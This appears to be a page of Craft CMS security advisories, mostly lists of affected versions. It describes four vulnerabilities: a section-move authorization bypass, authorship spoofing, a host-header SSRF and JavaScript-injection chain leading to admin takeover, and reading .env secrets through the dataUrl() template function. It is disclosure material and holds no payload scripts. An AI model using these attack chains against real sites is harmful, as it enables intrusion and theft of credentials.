          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50280 GHSA-43cq-c2gq-pfpw Jul 02, 2026

Craft CMS: Authorization bypass in `entries/move-to-section` via missing target-section save check

Medium

Network Low Low None

Summary

The EntriesController::actionMoveToSection() endpoint checks only whether the current user can view the destination section, but it does not require permission to save entries into that section. A low-privileged authenticated control-panel user who can move an entry out of its current section can therefore move that entry into a different section where they have read access but no write access.

Details

The vulnerable route is implemented in EntriesController.php:465:

The destination check is only viewEntries:$section->uid . The source-entry gate is Entry::canMove(), which verifies whether the user can move the existing entry based on the source section:

This closes the exploit chain:

External source: authenticated CP request to entries/move-to-section.
Missing authorization check: destination section requires only viewEntries, not saveEntries.
Privileged sink: moveEntryToSection() rewrites sectionId and saves the entry into the unauthorized section.

Preconditions derived from the code:

The attacker is authenticated to the control panel.
Entry 345 is movable by the attacker from its current section.
The attacker can satisfy viewEntries on destination section 12.
The attacker does not have saveEntries:DESTINATION_UID, which is the missing check that makes the bypass possible.

Result:

The controller accepts the request because viewEntries:$section->uid passes.
Each source entry passes canMove() based on source-section permissions.
moveEntryToSection() updates the entry’s sectionId and saves it.
The entry is now located in a section where the attacker did not have write permission.

Impact

This breaks the intended section-level authorization model. A user with limited content permissions can inject or relocate content into a protected section, interfering with editorial boundaries, approval workflows, section-specific business logic, and content ownership expectations.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50279 GHSA-qq2c-2q8j-jh27 Jul 02, 2026

Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap

High

Network Low Low None

Summary

EntriesController::actionSaveEntry() performs entry-edit permission checks before request-controlled author changes are applied to the model. The subsequent author mutation path accepts attacker-supplied authors / author parameters and allows the change when the current user is one of the old authors. Because the controller does not re-run authorization after mutating the author list, a low-privileged user can reassign an entry’s authorship to another user without holding the dedicated peer-author-change permission.

Details

The control flow begins in EntriesController.php:249. actionSaveEntry() loads the entry and enforces edit permissions before calling _populateEntryModel():

public function actionSaveEntry(bool $duplicate = false): ?Response
{
    ...
    $entry = $this->_editableEntry($this->request->getBodyParam('entryId'), $siteId);
    ...
    $this->enforceEditEntryPermissions($entry, $duplicate);
    ...
    $this->_populateEntryModel($entry);
    ...
    $success = Craft::$app->getElements()->saveElement($entry);
}

The attacker-controlled source is in EntriesController.php:588:

$entry->setAttributesFromRequest(array_filter([
    'authorIds' => $this->request->getBodyParam('authors') ??
        $this->request->getBodyParam('author') ??
        $entry->getAuthorId() ??
        static::currentUser()->id,
]));

Entry::setAttributesFromRequest() in Entry.php:1124 extracts the new author IDs and applies them if canChangeAuthor() returns true:

if (
    ($authorIds !== null || $authorId !== null) &&
    $this->canChangeAuthor()
) {
    $this->_oldAuthorIds = $oldAuthorIds;
    $this->setAuthorIds($authorIds);
}

canChangeAuthor() at Entry.php:2789 allows the author change when the current user can view peer entries and is already one of the existing authors:

return (
    empty($authorIds) ||
    in_array($user->id, $authorIds) ||
    $user->can("changeAuthorForPeerEntries:$section->uid")
);

After the author list is mutated, the controller does not re-check authorization.

This closes the exploit chain:

External source: authenticated request to entries/save-entry with attacker-controlled authors[].
Trust boundary failure: authorization is checked on the pre-mutation entry state, not on the post-mutation author assignment.
Privileged sink: the author relationship is rewritten in persistent storage.

Preconditions derived from the source:

The attacker is authenticated and can edit entry 345.
The attacker is among the existing authors of entry 345, or otherwise satisfies canChangeAuthor() through the old author set.
The attacker has viewPeerEntries for the section.
User ID 1 exists and can be assigned as an author in that section.

Result:

enforceEditEntryPermissions() succeeds on the original entry state.
_populateEntryModel() reads authors[]=1 from the request body.
setAttributesFromRequest() updates authorIds because canChangeAuthor() is evaluated against the old authorship state.
saveElement() persists the change and _saveAuthors() rewrites the entry-author relation.
Entry 345 now appears authored by user 1.

Impact

This allows low-privileged users to falsify content ownership and alter the authorship of entries without having the dedicated author-management permission. The impact includes corrupted audit trails, misleading notifications, broken approval workflows, and unauthorized reassignment of content responsibility.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 14, 2026

4.17.13.1 patch

6 CVEs

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


